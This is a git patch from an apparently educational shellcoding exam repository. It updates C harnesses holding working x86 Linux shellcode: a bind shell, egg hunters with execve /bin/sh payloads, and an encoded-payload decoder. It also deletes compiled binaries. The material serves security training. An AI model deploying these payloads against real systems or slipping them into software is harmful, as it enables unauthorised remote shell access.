From 0da67bbc693494c806304490d2525bb09e5028da Mon Sep 17 00:00:00 2001
From: Andrey Arapov <arno@nixaid.com>
Date: Thu, 2 May 2013 21:39:02 +0200
Subject: [PATCH] small updates

---
 exam1/shellcode.c                     |   2 +-
 exam3/access-noloop/shellcode.c       |   4 ++--
 exam3/access-scasd-noloop/shellcode.c |   4 ++--
 exam3/access-scasd/shellcode.c        |   4 ++--
 exam3/access/shellcode.c              |   4 ++--
 exam3/basic/shellcode                 | Bin 5100 -> 0 bytes
 exam3/basic/shellcode.c               |   4 ++--
 exam4/decoder.nasm                    |   6 +++---
 exam4/shellcode                       | Bin 4980 -> 0 bytes
 exam4/shellcode.c                     |   2 +-
 exam6/helloworld.o                    | Bin 448 -> 0 bytes
 11 files changed, 15 insertions(+), 15 deletions(-)
 delete mode 100755 exam3/basic/shellcode
 delete mode 100755 exam4/shellcode
 delete mode 100644 exam6/helloworld.o

diff --git a/exam1/shellcode.c b/exam1/shellcode.c
index 58a3743..7ba8ba3 100644
--- a/exam1/shellcode.c
+++ b/exam1/shellcode.c
@@ -1,7 +1,7 @@
 #include <stdio.h>
 #include <string.h>
 
-unsigned char code[] = "\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80";
+unsigned char code[] = "\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x6d\x5f\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xd2\x52\x66\xff\x37\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xd2\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80\xe8\x8e\xff\xff\xff\xc3\xcb";
 
 main()
 {
diff --git a/exam3/access-noloop/shellcode.c b/exam3/access-noloop/shellcode.c
index d205ccf..68816d8 100644
--- a/exam3/access-noloop/shellcode.c
+++ b/exam3/access-noloop/shellcode.c
@@ -1,11 +1,11 @@
 #include <stdio.h>
 #include <string.h>
 
-unsigned char hunter[] = "\x55\x89\xe5\x60\x9c\x68\xff\xef\xff\x0f\x5e\x46\x31\xd2\x39\xf2\x74\x2a\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x08\x31\xc9\xcd\x80\x3c\xf2\x74\xe8\x81\x3a\x48\x65\x72\x65\x75\xe9\x81\x7a\x04\x49\x74\x49\x73\x75\xe0\x8d\x4a\x08\xff\xe1\x9d\x61\x89\xec\x5d\xc3";
+unsigned char hunter[] = "\x55\x89\xe5\x60\x9c\x68\xff\xef\xff\x0f\x5e\x46\x31\xd2\x39\xf2\x74\x2a\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x08\x31\xc9\xcd\x80\x3c\xf2\x74\xe8\x81\x3a\x45\x67\x67\x2d\x75\xe9\x81\x7a\x04\x4d\x61\x72\x6b\x75\xe0\x8d\x4a\x08\xff\xe1\x9d\x61\x89\xec\x5d\xc3";
 
 unsigned char garbage1[] = "Just some garbage here...";
 
-unsigned char payload[] = "\x12\x65\x72\x65\x49\x74\x49\x73\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
+unsigned char payload[] = "\x45\x67\x67\x2d\x4d\x61\x72\x6b\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
 
 unsigned char garbage2[] = "And some garbage there...";
 
diff --git a/exam3/access-scasd-noloop/shellcode.c b/exam3/access-scasd-noloop/shellcode.c
index 343e1fd..f765702 100644
--- a/exam3/access-scasd-noloop/shellcode.c
+++ b/exam3/access-scasd-noloop/shellcode.c
@@ -1,11 +1,11 @@
 #include <stdio.h>
 #include <string.h>
 
-unsigned char hunter[] = "\x55\x89\xe5\x60\x9c\x68\xff\xef\xff\x0f\x5e\x46\xfc\x31\xd2\x39\xf2\x74\x2b\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x04\x31\xc9\xcd\x80\x3c\xf2\x74\xe8\xb8\x48\x65\x72\x65\x89\xd7\xaf\x75\xe7\xb8\x49\x74\x49\x73\x8d\x7a\x04\xaf\x75\xdc\xff\xe7\x9d\x61\x89\xec\x5d\xc3";
+unsigned char hunter[] = "\x55\x89\xe5\x60\x9c\x68\xff\xef\xff\x0f\x5e\x46\xfc\x31\xd2\x39\xf2\x74\x2b\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x04\x31\xc9\xcd\x80\x3c\xf2\x74\xe8\xb8\x45\x67\x67\x2d\x89\xd7\xaf\x75\xe7\xb8\x4d\x61\x72\x6b\x8d\x7a\x04\xaf\x75\xdc\xff\xe7\x9d\x61\x89\xec\x5d\xc3";
 
 unsigned char garbage1[] = "Just some garbage here...";
 
-unsigned char payload[] = "\x48\x65\x72\x65\x49\x74\x49\x73\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
+unsigned char payload[] = "\x45\x67\x67\x2d\x4d\x61\x72\x6b\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
 
 unsigned char garbage2[] = "And some garbage there...";
 
diff --git a/exam3/access-scasd/shellcode.c b/exam3/access-scasd/shellcode.c
index e0102bc..63fe952 100644
--- a/exam3/access-scasd/shellcode.c
+++ b/exam3/access-scasd/shellcode.c
@@ -1,11 +1,11 @@
 #include <stdio.h>
 #include <string.h>
 
-unsigned char hunter[] = "\xfc\x31\xd2\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x04\x31\xc9\xcd\x80\x3c\xf2\x74\xec\xb8\x48\x65\x72\x65\x89\xd7\xaf\x75\xe7\xb8\x49\x74\x49\x73\x8d\x7a\x04\xaf\x75\xdc\xff\xe7";
+unsigned char hunter[] = "\xfc\x31\xd2\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x04\x31\xc9\xcd\x80\x3c\xf2\x74\xec\xb8\x45\x67\x67\x2d\x89\xd7\xaf\x75\xe7\xb8\x4d\x61\x72\x6b\x8d\x7a\x04\xaf\x75\xdc\xff\xe7";
 
 unsigned char garbage1[] = "Just some garbage here...";
 
-unsigned char payload[] = "\x48\x65\x72\x65\x49\x74\x49\x73\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
+unsigned char payload[] = "\x45\x67\x67\x2d\x4d\x61\x72\x6b\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
 
 unsigned char garbage2[] = "And some garbage there...";
 
diff --git a/exam3/access/shellcode.c b/exam3/access/shellcode.c
index de0a7a1..411996b 100644
--- a/exam3/access/shellcode.c
+++ b/exam3/access/shellcode.c
@@ -1,11 +1,11 @@
 #include <stdio.h>
 #include <string.h>
 
-unsigned char hunter[] = "\x31\xd2\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x08\x31\xc9\xcd\x80\x3c\xf2\x74\xec\x81\x3a\x48\x65\x72\x65\x75\xe9\x81\x7a\x04\x49\x74\x49\x73\x75\xe0\x8d\x4a\x08\xff\xe1";
+unsigned char hunter[] = "\x31\xd2\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x08\x31\xc9\xcd\x80\x3c\xf2\x74\xec\x81\x3a\x45\x67\x67\x2d\x75\xe9\x81\x7a\x04\x4d\x61\x72\x6b\x75\xe0\x8d\x4a\x08\xff\xe1";
 
 unsigned char garbage1[] = "Just some garbage here...";
 
-unsigned char payload[] = "\x48\x65\x72\x65\x49\x74\x49\x73\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
+unsigned char payload[] = "\x45\x67\x67\x2d\x4d\x61\x72\x6b\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
 
 unsigned char garbage2[] = "And some garbage there...";
 
diff --git a/exam3/basic/shellcode b/exam3/basic/shellcode
deleted file mode 100755
index bb8215c044c161344c933136879a715d4a647ba9..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 5100
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

diff --git a/exam3/basic/shellcode.c b/exam3/basic/shellcode.c
index feaf2d7..0cbd41f 100644
--- a/exam3/basic/shellcode.c
+++ b/exam3/basic/shellcode.c
@@ -1,11 +1,11 @@
 #include <stdio.h>
 #include <string.h>
 
-unsigned char hunter[] = "\x40\x81\x78\xf8\x65\x67\x67\x2e\x75\xf6\x81\x78\xfc\x4d\x61\x52\x6b\x75\xed\xff\xd0";
+unsigned char hunter[] = "\x40\x81\x78\xf8\x45\x67\x67\x2d\x75\xf6\x81\x78\xfc\x4d\x61\x72\x6b\x75\xed\xff\xd0";
 
 unsigned char garbage1[] = "Just some garbage here...";
 
-unsigned char payload[] = "\x65\x67\x67\x2e\x4d\x61\x52\x6b\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
+unsigned char payload[] = "\x45\x67\x67\x2d\x4d\x61\x72\x6b\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
 
 unsigned char garbage2[] = "And some garbage there...";
 
diff --git a/exam4/decoder.nasm b/exam4/decoder.nasm
index 376912d..6baa47b 100644
--- a/exam4/decoder.nasm
+++ b/exam4/decoder.nasm
@@ -52,16 +52,16 @@ _decoder:
 	je short _runshellcode	; if we reach the exit marker, then we run the shellcode
 
 	;
-	; Collecting decoded shellcode in the EDX address
+	; Collecting decoded shellcode in the ESP address
 	;
-	mov byte [edx+ecx], al	; moving good byte to EDX
+	mov byte [esp+ecx], al	; moving good byte to ESP
 	inc ecx			; increase the counter
 
 	jmp short _decoder	; continuing
 
 
 _runshellcode:
-	call edx
+	call esp
 
 _down:
 	call _up		; ESP now has an address that points to the next instruction, however we are going UP
diff --git a/exam4/shellcode b/exam4/shellcode
deleted file mode 100755
index 670ace713afe21b9209e4dc2a485c639a4757641..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 4980
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
MpO7C$<m`$60tyVRWdHyG

diff --git a/exam4/shellcode.c b/exam4/shellcode.c
index 6e7c300..39677fe 100644
--- a/exam4/shellcode.c
+++ b/exam4/shellcode.c
@@ -1,7 +1,7 @@
 #include <stdio.h>
 #include <string.h>
 
-unsigned char code[] = "\xeb\x22\x5e\x31\xc9\x8a\x06\x46\x3c\x37\x74\xf9\x3c\xfa\x74\xf5\x3c\xd6\x74\xf1\x3c\x3f\x74\xed\x3c\xaf\x74\x06\x88\x04\x0a\x41\xeb\xe3\xff\xd2\xe8\xd9\xff\xff\xff\x31\xD6\xc0\xFA\xb0\xD6\x0b\x37\x31\x37\xd2\xD6\x52\x37\x68\xD6\x6e\xFA\x2f\x37\x73\x37\x68\xD6\x68\xD6\x2f\xFA\x2f\x37\x62\x37\x69\xFA\x89\xD6\xe3\xFA\x52\x3F\x53\xFA\x89\xD6\xe1\xD6\x52\x3F\x89\xFA\xe2\x37\xcd\xFA\x80\xFA\x31\xD6\xc0\x3F\xb0\xD6\x01\xFA\x31\x3F\xdb\x37\xcd\xFA\x80\x3F\xAF";
+unsigned char code[] = "\xeb\x22\x5e\x31\xc9\x8a\x06\x46\x3c\x37\x74\xf9\x3c\xfa\x74\xf5\x3c\xd6\x74\xf1\x3c\x3f\x74\xed\x3c\xaf\x74\x06\x88\x04\x0c\x41\xeb\xe3\xff\xd4\xe8\xd9\xff\xff\xff\x31\xFA\xc0\x3F\xb0\xFA\x0b\xFA\x31\xFA\xd2\xFA\x52\xD6\x68\xD6\x6e\xFA\x2f\x37\x73\xD6\x68\x3F\x68\x37\x2f\x3F\x2f\x3F\x62\x37\x69\xD6\x89\x37\xe3\xFA\x52\xD6\x53\xD6\x89\xFA\xe1\xD6\x52\xD6\x89\x37\xe2\xFA\xcd\xFA\x80\x37\x31\xFA\xc0\x37\xb0\xD6\x01\xD6\x31\x3F\xdb\x3F\xcd\x3F\x80\x37\xAF";
 
 main()
 {
diff --git a/exam6/helloworld.o b/exam6/helloworld.o
deleted file mode 100644
index f4d170bd097f9b053ccd8c0b2f998e2b447795de..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 448
zcmb<-^>JflWMqH=Mh0dE1doBi0V-hvrZpH?8JJ*7Nuoh!f-oCYmjIBX0A+(H0Vtat
zNHas(Aj$x!P7#R@<br`9kVJM#0#L#MD8>TBApIa3WTqsP52V0g0Z^R;j02=$=D~yv
z4;bDyytIL3Gh;?-Q7Tu4M`lPy=fh1LXB!M}Z(uyzz@S%>T2aEFSDaB?QdE+d1Y}j_
zLTCsdW)Kb<**+GAkN=UCfkGbSFBlL2xh^9$Cnvu=zbGd~FE6n;mm$8mB(bOjri1|i
DT-PXk